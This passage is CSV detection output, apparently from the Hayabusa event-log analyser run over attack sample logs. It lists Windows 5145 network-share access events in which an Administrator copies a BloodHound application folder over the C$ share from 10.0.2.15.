Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.047 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\locales : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.047 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.047 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.057 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.057 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\Ingestors : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.057 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\Ingestors\DebugBuilds : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.057 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.067 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@babel : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.067 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@babel\runtime : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.067 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@babel\runtime\helpers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.077 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@babel\runtime\node_modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.077 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@babel\runtime\regenerator : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.087 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.087 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.087 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\css : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.087 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.097 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\less : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.097 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\scss : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.107 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\sprites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.107 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\svgs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.107 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\webfonts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.117 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.117 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\adler-32 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.117 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\adler-32\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.127 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\adler-32\types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.127 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.137 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\.nyc_output : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.137 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.137 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.147 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\examples\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.147 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.147 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.147 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\tests : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.157 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\asap : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.157 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\async : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.167 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\async\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.167 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\async\internal : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.177 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.177 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.177 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\array : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.187 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\error : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.187 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\json : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.197 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\math : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.197 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\number : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.197 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\object : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.197 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\reflect : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.207 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\regexp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.207 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\string : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.207 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\symbol : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.217 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\core-js\system : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.217 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\helpers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.227 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\babel-runtime\regenerator : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.227 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\balanced-match : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.227 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\big-integer : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.237 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\binary : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.237 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\binary\example : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.237 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\binary\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.237 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\binary\perf : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.247 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\binary\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.247 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bluebird : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.247 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bluebird\js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.257 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bluebird\js\browser : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral 